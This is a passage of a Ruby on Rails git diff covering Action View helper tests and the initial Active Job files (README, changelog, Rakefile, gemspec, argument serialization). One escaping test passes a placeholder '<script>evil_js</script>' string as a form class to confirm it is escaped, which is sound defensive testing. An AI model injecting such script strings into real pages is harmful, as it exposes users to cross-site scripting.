+  def test_reset_named_cycle
     assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
     assert_equal("red", cycle("red", "blue", :name => "colors"))
     reset_cycle("numbers")
diff --git a/actionview/test/template/text_test.rb b/actionview/test/template/text_test.rb
new file mode 100644
index 0000000000..d899d54589
--- /dev/null
+++ b/actionview/test/template/text_test.rb
@@ -0,0 +1,17 @@
+require 'abstract_unit'
+
+class TextTest < ActiveSupport::TestCase
+  test 'formats returns symbol for recognized MIME type' do
+    assert_equal [:text], ActionView::Template::Text.new('', :text).formats
+  end
+
+  test 'formats returns string for recognized MIME type when MIME does not have symbol' do
+    foo = Mime::Type.lookup("foo")
+    assert_nil foo.to_sym
+    assert_equal ['foo'], ActionView::Template::Text.new('', foo).formats
+  end
+
+  test 'formats returns string for unknown MIME type' do
+    assert_equal ['foo'], ActionView::Template::Text.new('', 'foo').formats
+  end
+end
diff --git a/actionview/test/template/translation_helper_test.rb b/actionview/test/template/translation_helper_test.rb
index d496dbb35e..8fde478ac9 100644
--- a/actionview/test/template/translation_helper_test.rb
+++ b/actionview/test/template/translation_helper_test.rb
@@ -1,12 +1,19 @@
 require 'abstract_unit'
 
+module I18n
+  class CustomExceptionHandler
+    def self.call(exception, locale, key, options)
+      'from CustomExceptionHandler'
+    end
+  end
+end
+
 class TranslationHelperTest < ActiveSupport::TestCase
-  include ActionView::Helpers::TagHelper
   include ActionView::Helpers::TranslationHelper
 
   attr_reader :request, :view
 
-  def setup
+  setup do
     I18n.backend.store_translations(:en,
       :translations => {
         :templates => {
@@ -30,8 +37,12 @@ class TranslationHelperTest < ActiveSupport::TestCase
     @view = ::ActionView::Base.new(ActionController::Base.view_paths, {})
   end
 
+  teardown do
+    I18n.backend.reload!
+  end
+
   def test_delegates_to_i18n_setting_the_rescue_format_option_to_html
-    I18n.expects(:translate).with(:foo, :locale => 'en', :rescue_format => :html).returns("")
+    I18n.expects(:translate).with(:foo, :locale => 'en', :raise=>true).returns("")
     translate :foo, :locale => 'en'
   end
 
@@ -53,6 +64,38 @@ class TranslationHelperTest < ActiveSupport::TestCase
     assert_equal false, translate(:"translations.missing", :rescue_format => nil).html_safe?
   end
 
+  def test_raises_missing_translation_message_with_raise_config_option
+    ActionView::Base.raise_on_missing_translations = true
+
+    assert_raise(I18n::MissingTranslationData) do
+      translate("translations.missing")
+    end
+  ensure
+    ActionView::Base.raise_on_missing_translations = false
+  end
+
+  def test_raises_missing_translation_message_with_raise_option
+    assert_raise(I18n::MissingTranslationData) do
+      translate(:"translations.missing", :raise => true)
+    end
+  end
+
+  def test_uses_custom_exception_handler_when_specified
+    old_exception_handler = I18n.exception_handler
+    I18n.exception_handler = I18n::CustomExceptionHandler
+    assert_equal 'from CustomExceptionHandler', translate(:"translations.missing", raise: false)
+  ensure
+    I18n.exception_handler = old_exception_handler
+  end
+
+  def test_uses_custom_exception_handler_when_specified_for_html
+    old_exception_handler = I18n.exception_handler
+    I18n.exception_handler = I18n::CustomExceptionHandler
+    assert_equal 'from CustomExceptionHandler', translate(:"translations.missing_html", raise: false)
+  ensure
+    I18n.exception_handler = old_exception_handler
+  end
+
   def test_i18n_translate_defaults_to_nil_rescue_format
     expected = 'translation missing: en.translations.missing'
     assert_equal expected, I18n.translate(:"translations.missing")
@@ -126,6 +169,12 @@ class TranslationHelperTest < ActiveSupport::TestCase
     assert_equal true, translation.html_safe?
   end
 
+  def test_translate_with_last_default_not_named_html
+    translation = translate(:'translations.missing', :default => [:'translations.missing_html', :'translations.foo'])
+    assert_equal 'Foo', translation
+    assert_equal false, translation.html_safe?
+  end
+
   def test_translate_with_string_default
     translation = translate(:'translations.missing', default: 'A Generic String')
     assert_equal 'A Generic String', translation
@@ -135,4 +184,10 @@ class TranslationHelperTest < ActiveSupport::TestCase
     translation = translate(:'translations.missing', default: ['A Generic String', 'Second generic string'])
     assert_equal 'A Generic String', translation
   end
+
+  def test_translate_does_not_change_options
+    options = {}
+    translate(:'translations.missing', options)
+    assert_equal({}, options)
+  end
 end
diff --git a/actionview/test/template/url_helper_test.rb b/actionview/test/template/url_helper_test.rb
index d512fa9913..ee3313489f 100644
--- a/actionview/test/template/url_helper_test.rb
+++ b/actionview/test/template/url_helper_test.rb
@@ -1,5 +1,5 @@
-# encoding: utf-8
 require 'abstract_unit'
+require 'minitest/mock'
 
 class UrlHelperTest < ActiveSupport::TestCase
 
@@ -24,7 +24,7 @@ class UrlHelperTest < ActiveSupport::TestCase
   include routes.url_helpers
 
   include ActionView::Helpers::JavaScriptHelper
-  include ActionDispatch::Assertions::DomAssertions
+  include Rails::Dom::Testing::Assertions::DomAssertions
   include ActionView::Context
   include RenderERBUtils
 
@@ -52,14 +52,21 @@ class UrlHelperTest < ActiveSupport::TestCase
   end
 
   def test_button_to_with_straight_url
-    assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com")
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com")
+  end
+
+  def test_button_to_with_path
+    assert_dom_equal(
+      %{<form method="post" action="/article/Hello" class="button_to"><input type="submit" value="Hello" /></form>},
+      button_to("Hello", article_path("Hello".html_safe))
+    )
   end
 
   def test_button_to_with_straight_url_and_request_forgery
     self.request_forgery = true
 
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></div></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></form>},
       button_to("Hello", "http://www.example.com")
     )
   ensure
@@ -67,99 +74,106 @@ class UrlHelperTest < ActiveSupport::TestCase
   end
 
   def test_button_to_with_form_class
-    assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: 'custom-class')
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com", form_class: 'custom-class')
   end
 
   def test_button_to_with_form_class_escapes
-    assert_dom_equal %{<form method="post" action="http://www.example.com" class="&lt;script&gt;evil_js&lt;/script&gt;"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: '<script>evil_js</script>')
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="&lt;script&gt;evil_js&lt;/script&gt;"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com", form_class: '<script>evil_js</script>')
   end
 
   def test_button_to_with_query
-    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
+    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
   end
 
   def test_button_to_with_html_safe_URL
-    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&amp;q2=v2".html_safe)
+    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com/q1=v1&amp;q2=v2".html_safe)
   end
 
   def test_button_to_with_query_and_no_name
-    assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&amp;q2=v2" class="button_to"><div><input type="submit" value="http://www.example.com?q1=v1&amp;q2=v2" /></div></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
+    assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="http://www.example.com?q1=v1&amp;q2=v2" /></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
   end
 
   def test_button_to_with_javascript_confirm
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><input data-confirm="Are you sure?" type="submit" value="Hello" /></form>},
       button_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
     )
   end
 
   def test_button_to_with_javascript_disable_with
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><input data-disable-with="Greeting..." type="submit" value="Hello" /></form>},
       button_to("Hello", "http://www.example.com", data: { disable_with: "Greeting..." })
     )
   end
 
   def test_button_to_with_remote_and_form_options
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><div><input type="submit" value="Hello" /></div></form>},
+      %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><input type="submit" value="Hello" /></form>},
       button_to("Hello", "http://www.example.com", remote: true, form: { class: "custom-class", "data-type" => "json" })
     )
   end
 
   def test_button_to_with_remote_and_javascript_confirm
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><input data-confirm="Are you sure?" type="submit" value="Hello" /></form>},
       button_to("Hello", "http://www.example.com", remote: true, data: { confirm: "Are you sure?" })
     )
   end
 
   def test_button_to_with_remote_and_javascript_disable_with
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><input data-disable-with="Greeting..." type="submit" value="Hello" /></form>},
       button_to("Hello", "http://www.example.com", remote: true, data: { disable_with: "Greeting..." })
     )
   end
 
   def test_button_to_with_remote_false
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
       button_to("Hello", "http://www.example.com", remote: false)
     )
   end
 
   def test_button_to_enabled_disabled
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
       button_to("Hello", "http://www.example.com", disabled: false)
     )
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input disabled="disabled" type="submit" value="Hello" /></div></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><input disabled="disabled" type="submit" value="Hello" /></form>},
       button_to("Hello", "http://www.example.com", disabled: true)
     )
   end
 
   def test_button_to_with_method_delete
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="hidden" name="_method" value="delete" /><input type="submit" value="Hello" /></div></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><input type="hidden" name="_method" value="delete" /><input type="submit" value="Hello" /></form>},
       button_to("Hello", "http://www.example.com", method: :delete)
     )
   end
 
   def test_button_to_with_method_get
     assert_dom_equal(
-      %{<form method="get" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+      %{<form method="get" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
       button_to("Hello", "http://www.example.com", method: :get)
     )
   end
 
   def test_button_to_with_block
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><div><button type="submit"><span>Hello</span></button></div></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit"><span>Hello</span></button></form>},
       button_to("http://www.example.com") { content_tag(:span, 'Hello') }
     )
   end
 
+  def test_button_to_with_params
+    assert_dom_equal(
+      %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="foo" value="bar" /><input type="hidden" name="baz" value="quux" /></form>},
+      button_to("Hello", "http://www.example.com", params: {foo: :bar, baz: "quux"})
+    )
+  end
+
   def test_link_tag_with_straight_url
     assert_dom_equal %{<a href="http://www.example.com">Hello</a>}, link_to("Hello", "http://www.example.com")
   end
@@ -478,8 +492,8 @@ class UrlHelperTest < ActiveSupport::TestCase
 
   def test_mail_with_options
     assert_dom_equal(
-      %{<a href="mailto:me@example.com?cc=ccaddress%40example.com&amp;bcc=bccaddress%40example.com&amp;body=This%20is%20the%20body%20of%20the%20message.&amp;subject=This%20is%20an%20example%20email">My email</a>},
-      mail_to("me@example.com", "My email", cc: "ccaddress@example.com", bcc: "bccaddress@example.com", subject: "This is an example email", body: "This is the body of the message.")
+      %{<a href="mailto:me@example.com?cc=ccaddress%40example.com&amp;bcc=bccaddress%40example.com&amp;body=This%20is%20the%20body%20of%20the%20message.&amp;subject=This%20is%20an%20example%20email&amp;reply-to=foo%40bar.com">My email</a>},
+      mail_to("me@example.com", "My email", cc: "ccaddress@example.com", bcc: "bccaddress@example.com", subject: "This is an example email", body: "This is the body of the message.", reply_to: "foo@bar.com")
     )
   end
 
@@ -609,13 +623,13 @@ class UrlHelperControllerTest < ActionController::TestCase
   end
 
   def test_named_route_url_shows_host_and_path
-    get :show_named_route, kind: 'url'
+    get :show_named_route, params: { kind: 'url' }
     assert_equal 'http://test.host/url_helper_controller_test/url_helper/show_named_route',
       @response.body
   end
 
   def test_named_route_path_shows_only_path
-    get :show_named_route, kind: 'path'
+    get :show_named_route, params: { kind: 'path' }
     assert_equal '/url_helper_controller_test/url_helper/show_named_route', @response.body
   end
 
@@ -631,7 +645,7 @@ class UrlHelperControllerTest < ActionController::TestCase
       end
     end
 
-    get :show_named_route, kind: 'url'
+    get :show_named_route, params: { kind: 'url' }
     assert_equal 'http://testtwo.host/url_helper_controller_test/url_helper/show_named_route', @response.body
   end
 
@@ -646,11 +660,11 @@ class UrlHelperControllerTest < ActionController::TestCase
   end
 
   def test_recall_params_should_normalize_id
-    get :show, id: '123'
+    get :show, params: { id: '123' }
     assert_equal 302, @response.status
     assert_equal 'http://test.host/url_helper_controller_test/url_helper/profile/123', @response.location
 
-    get :show, name: '123'
+    get :show, params: { name: '123' }
     assert_equal 'ok', @response.body
   end
 
@@ -689,7 +703,7 @@ class LinkToUnlessCurrentWithControllerTest < ActionController::TestCase
   end
 
   def test_link_to_unless_current_shows_link
-    get :show, id: 1
+    get :show, params: { id: 1 }
     assert_equal %{<a href="/tasks">tasks</a>\n} +
       %{<a href="#{@request.protocol}#{@request.host_with_port}/tasks">tasks</a>},
       @response.body
@@ -763,21 +777,21 @@ class PolymorphicControllerTest < ActionController::TestCase
   def test_existing_resource
     @controller = WorkshopsController.new
 
-    get :show, id: 1
+    get :show, params: { id: 1 }
     assert_equal %{/workshops/1\n<a href="/workshops/1">Workshop</a>}, @response.body
   end
 
   def test_new_nested_resource
     @controller = SessionsController.new
 
-    get :index, workshop_id: 1
+    get :index, params: { workshop_id: 1 }
     assert_equal %{/workshops/1/sessions\n<a href="/workshops/1/sessions">Session</a>}, @response.body
   end
 
   def test_existing_nested_resource
     @controller = SessionsController.new
 
-    get :show, workshop_id: 1, id: 1
+    get :show, params: { workshop_id: 1, id: 1 }
     assert_equal %{/workshops/1/sessions/1\n<a href="/workshops/1/sessions/1">Session</a>}, @response.body
   end
 end
diff --git a/activejob/.gitignore b/activejob/.gitignore
new file mode 100644
index 0000000000..b3aaf55871
--- /dev/null
+++ b/activejob/.gitignore
@@ -0,0 +1 @@
+test/dummy
diff --git a/activejob/CHANGELOG.md b/activejob/CHANGELOG.md
new file mode 100644
index 0000000000..d4e19274fa
--- /dev/null
+++ b/activejob/CHANGELOG.md
@@ -0,0 +1,80 @@
+*   Add an `:only` option to `perform_enqueued_jobs` to filter jobs based on
+    type.
+
+    This allows specific jobs to be tested, while preventing others from
+    being performed unnecessarily.
+
+    Example:
+
+        def test_hello_job
+          assert_performed_jobs 1, only: HelloJob do
+            HelloJob.perform_later('jeremy')
+            LoggingJob.perform_later
+          end
+        end
+
+    An array may also be specified, to support testing multiple jobs.
+
+    Example:
+
+        def test_hello_and_logging_jobs
+          assert_nothing_raised do
+            assert_performed_jobs 2, only: [HelloJob, LoggingJob] do
+              HelloJob.perform_later('jeremy')
+              LoggingJob.perform_later('stewie')
+              RescueJob.perform_later('david')
+            end
+          end
+        end
+
+    Fixes #18802.
+
+    *Michael Ryan*
+
+*   Allow keyword arguments to be used with Active Job.
+
+    Fixes #18741.
+
+    *Sean Griffin*
+
+*   Add `:only` option to `assert_enqueued_jobs`, to check the number of times
+    a specific kind of job is enqueued.
+
+    Example:
+
+        def test_logging_job
+          assert_enqueued_jobs 1, only: LoggingJob do
+            LoggingJob.perform_later
+            HelloJob.perform_later('jeremy')
+          end
+        end
+
+    *George Claghorn*
+
+*   `ActiveJob::Base.deserialize` delegates to the job class.
+
+    Since `ActiveJob::Base#deserialize` can be overridden by subclasses (like
+    `ActiveJob::Base#serialize`) this allows jobs to attach arbitrary metadata
+    when they get serialized and read it back when they get performed.
+
+    Example:
+
+        class DeliverWebhookJob < ActiveJob::Base
+          def serialize
+            super.merge('attempt_number' => (@attempt_number || 0) + 1)
+          end
+
+          def deserialize(job_data)
+            super
+            @attempt_number = job_data['attempt_number']
+          end
+
+          rescue_from(TimeoutError) do |exception|
+            raise exception if @attempt_number > 5
+            retry_job(wait: 10)
+          end
+        end
+
+    *Isaac Seymour*
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activejob/CHANGELOG.md) for previous changes.
diff --git a/activejob/MIT-LICENSE b/activejob/MIT-LICENSE
new file mode 100644
index 0000000000..0cef8cdda0
--- /dev/null
+++ b/activejob/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2014-2015 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/activejob/README.md b/activejob/README.md
new file mode 100644
index 0000000000..8c83d3669a
--- /dev/null
+++ b/activejob/README.md
@@ -0,0 +1,131 @@
+# Active Job -- Make work happen later
+
+Active Job is a framework for declaring jobs and making them run on a variety
+of queueing backends. These jobs can be everything from regularly scheduled
+clean-ups, to billing charges, to mailings. Anything that can be chopped up into
+small units of work and run in parallel, really.
+
+It also serves as the backend for Action Mailer's #deliver_later functionality
+that makes it easy to turn any mailing into a job for running later. That's
+one of the most common jobs in a modern web application: Sending emails outside
+of the request-response cycle, so the user doesn't have to wait on it.
+
+The main point is to ensure that all Rails apps will have a job infrastructure
+in place, even if it's in the form of an "immediate runner". We can then have
+framework features and other gems build on top of that, without having to worry
+about API differences between Delayed Job and Resque. Picking your queuing
+backend becomes more of an operational concern, then. And you'll be able to
+switch between them without having to rewrite your jobs.
+
+
+## Usage
+
+Set the queue adapter for Active Job:
+
+``` ruby
+ActiveJob::Base.queue_adapter = :inline # default queue adapter
+```
+Note: To learn how to use your preferred queueing backend see its adapter
+documentation at
+[ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+
+Declare a job like so:
+
+```ruby
+class MyJob < ActiveJob::Base
+  queue_as :my_jobs
+
+  def perform(record)
+    record.do_work
+  end
+end
+```
+
+Enqueue a job like so:
+
+```ruby
+MyJob.perform_later record  # Enqueue a job to be performed as soon the queueing system is free.
+```
+
+```ruby
+MyJob.set(wait_until: Date.tomorrow.noon).perform_later(record)  # Enqueue a job to be performed tomorrow at noon.
+```
+
+```ruby
+MyJob.set(wait: 1.week).perform_later(record) # Enqueue a job to be performed 1 week from now.
+```
+
+That's it!
+
+
+## GlobalID support
+
+Active Job supports [GlobalID serialization](https://github.com/rails/globalid/) for parameters. This makes it possible
+to pass live Active Record objects to your job instead of class/id pairs, which
+you then have to manually deserialize. Before, jobs would look like this:
+
+```ruby
+class TrashableCleanupJob
+  def perform(trashable_class, trashable_id, depth)
+    trashable = trashable_class.constantize.find(trashable_id)
+    trashable.cleanup(depth)
+  end
+end
+```
+
+Now you can simply do:
+
+```ruby
+class TrashableCleanupJob
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+```
+
+This works with any class that mixes in GlobalID::Identification, which
+by default has been mixed into Active Record classes.
+
+
+## Supported queueing systems
+
+Active Job has built-in adapters for multiple queueing backends (Sidekiq,
+Resque, Delayed Job and others). To get an up-to-date list of the adapters
+see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+
+## Auxiliary gems
+
+* [activejob-stats](https://github.com/seuros/activejob-stats)
+
+## Download and installation
+
+The latest version of Active Job can be installed with RubyGems:
+
+```
+  % [sudo] gem install activejob
+```
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/activejob
+
+## License
+
+Active Job is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+## Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
diff --git a/activejob/Rakefile b/activejob/Rakefile
new file mode 100644
index 0000000000..1922f256ec
--- /dev/null
+++ b/activejob/Rakefile
@@ -0,0 +1,90 @@
+require 'rake/testtask'
+require 'rubygems/package_task'
+
+ACTIVEJOB_ADAPTERS = %w(inline delayed_job qu que queue_classic resque sidekiq sneakers sucker_punch backburner test)
+ACTIVEJOB_ADAPTERS -= %w(queue_classic) if defined?(JRUBY_VERSION)
+
+task default: :test
+task test: 'test:default'
+
+namespace :test do
+  desc 'Run all adapter tests'
+  task :default do
+    run_without_aborting ACTIVEJOB_ADAPTERS.map { |a| "test:#{a}" }
+  end
+
+  desc 'Run all adapter tests in isolation'
+  task :isolated do
+    run_without_aborting ACTIVEJOB_ADAPTERS.map { |a| "test:isolated:#{a}" }
+  end
+
+  desc 'Run integration tests for all adapters'
+  task :integration do
+    run_without_aborting (ACTIVEJOB_ADAPTERS - ['test']).map { |a| "test:integration:#{a}" }
+  end
+
+  task 'env:integration' do
+    ENV['AJ_INTEGRATION_TESTS'] = "1"
+  end
+
+  ACTIVEJOB_ADAPTERS.each do |adapter|
+    task("env:#{adapter}") { ENV['AJADAPTER'] = adapter }
+
+    Rake::TestTask.new(adapter => "test:env:#{adapter}") do |t|
+      t.description = "Run adapter tests for #{adapter}"
+      t.libs << 'test'
+      t.test_files = FileList['test/cases/**/*_test.rb']
+      t.verbose = true
+      t.warning = true
+      t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+    end
+
+    namespace :isolated do
+      task adapter => "test:env:#{adapter}" do
+        dir = File.dirname(__FILE__)
+        Dir.glob("#{dir}/test/cases/**/*_test.rb").all? do |file|
+          sh(Gem.ruby, '-w', "-I#{dir}/lib", "-I#{dir}/test", file)
+        end or raise 'Failures'
+      end
+    end
+
+    namespace :integration do
+      Rake::TestTask.new(adapter => ["test:env:#{adapter}", 'test:env:integration']) do |t|
+        t.description = "Run integration tests for #{adapter}"
+        t.libs << 'test'
+        t.test_files = FileList['test/integration/**/*_test.rb']
+        t.verbose = true
+        t.warning = true
+        t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+      end
+    end
+  end
+end
+
+def run_without_aborting(tasks)
+  errors = []
+
+  tasks.each do |task|
+    begin
+      Rake::Task[task].invoke
+    rescue Exception
+      errors << task
+    end
+  end
+
+  abort "Errors running #{errors.join(', ')}" if errors.any?
+end
+
+
+spec = eval(File.read('activejob.gemspec'))
+
+Gem::PackageTask.new(spec) do |p|
+  p.gem_spec = spec
+end
+
+desc 'Release to rubygems'
+task release: :package do
+  require 'rake/gemcutter'
+  Rake::Gemcutter::Tasks.new(spec).define
+  Rake::Task['gem:push'].invoke
+end
diff --git a/activejob/activejob.gemspec b/activejob/activejob.gemspec
new file mode 100644
index 0000000000..5404ece804
--- /dev/null
+++ b/activejob/activejob.gemspec
@@ -0,0 +1,23 @@
+version = File.read(File.expand_path('../../RAILS_VERSION', __FILE__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = 'activejob'
+  s.version     = version
+  s.summary     = 'Job framework with pluggable queues.'
+  s.description = 'Declare job classes that can be run by a variety of queueing backends.'
+
+  s.required_ruby_version = '>= 2.2.0'
+
+  s.license = 'MIT'
+
+  s.author   = 'David Heinemeier Hansson'
+  s.email    = 'david@loudthinking.com'
+  s.homepage = 'http://www.rubyonrails.org'
+
+  s.files        = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.md', 'lib/**/*']
+  s.require_path = 'lib'
+
+  s.add_dependency 'activesupport', version
+  s.add_dependency 'globalid', '>= 0.3.0'
+end
diff --git a/activejob/lib/active_job.rb b/activejob/lib/active_job.rb
new file mode 100644
index 0000000000..3d4f63b261
--- /dev/null
+++ b/activejob/lib/active_job.rb
@@ -0,0 +1,37 @@
+#--
+# Copyright (c) 2014-2015 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'active_support'
+require 'active_support/rails'
+require 'active_job/version'
+require 'global_id'
+
+module ActiveJob
+  extend ActiveSupport::Autoload
+
+  autoload :Base
+  autoload :QueueAdapters
+  autoload :ConfiguredJob
+  autoload :TestCase
+  autoload :TestHelper
+end
diff --git a/activejob/lib/active_job/arguments.rb b/activejob/lib/active_job/arguments.rb
new file mode 100644
index 0000000000..622c37098e
--- /dev/null
+++ b/activejob/lib/active_job/arguments.rb
@@ -0,0 +1,144 @@
+require 'active_support/core_ext/hash'
+
+module ActiveJob
+  # Raised when an exception is raised during job arguments deserialization.
+  #
+  # Wraps the original exception raised as +original_exception+.
+  class DeserializationError < StandardError
+    attr_reader :original_exception
+
+    def initialize(e) #:nodoc:
+      super("Error while trying to deserialize arguments: #{e.message}")
+      @original_exception = e
+      set_backtrace e.backtrace
+    end
+  end
+
+  # Raised when an unsupported argument type is being set as job argument. We
+  # currently support NilClass, Fixnum, Float, String, TrueClass, FalseClass,
+  # Bignum and object that can be represented as GlobalIDs (ex: Active Record).
+  # Also raised if you set the key for a Hash something else than a string or
+  # a symbol.
+  class SerializationError < ArgumentError
+  end
+
+  module Arguments
+    extend self
+    TYPE_WHITELIST = [ NilClass, Fixnum, Float, String, TrueClass, FalseClass, Bignum ]
+
+    # Serializes a set of arguments. Whitelisted types are returned
+    # as-is. Arrays/Hashes are serialized element by element.
+    # All other types are serialized using GlobalID.
+    def serialize(arguments)
+      arguments.map { |argument| serialize_argument(argument) }
+    end
+
+    # Deserializes a set of arguments. Whitelisted types are returned
+    # as-is. Arrays/Hashes are deserialized element by element.
+    # All other types are deserialized using GlobalID.
+    def deserialize(arguments)
+      arguments.map { |argument| deserialize_argument(argument) }
+    rescue => e
+      raise DeserializationError.new(e)
+    end
+
+    private
+      GLOBALID_KEY = '_aj_globalid'.freeze
+      SYMBOL_KEYS_KEY = '_aj_symbol_keys'.freeze
+      WITH_INDIFFERENT_ACCESS_KEY = '_aj_hash_with_indifferent_access'.freeze
+      private_constant :GLOBALID_KEY, :SYMBOL_KEYS_KEY, :WITH_INDIFFERENT_ACCESS_KEY
+
+      def serialize_argument(argument)
+        case argument
+        when *TYPE_WHITELIST
+          argument
+        when GlobalID::Identification
+          { GLOBALID_KEY => argument.to_global_id.to_s }
+        when Array
+          argument.map { |arg| serialize_argument(arg) }
+        when ActiveSupport::HashWithIndifferentAccess
+          result = serialize_hash(argument)
+          result[WITH_INDIFFERENT_ACCESS_KEY] = serialize_argument(true)
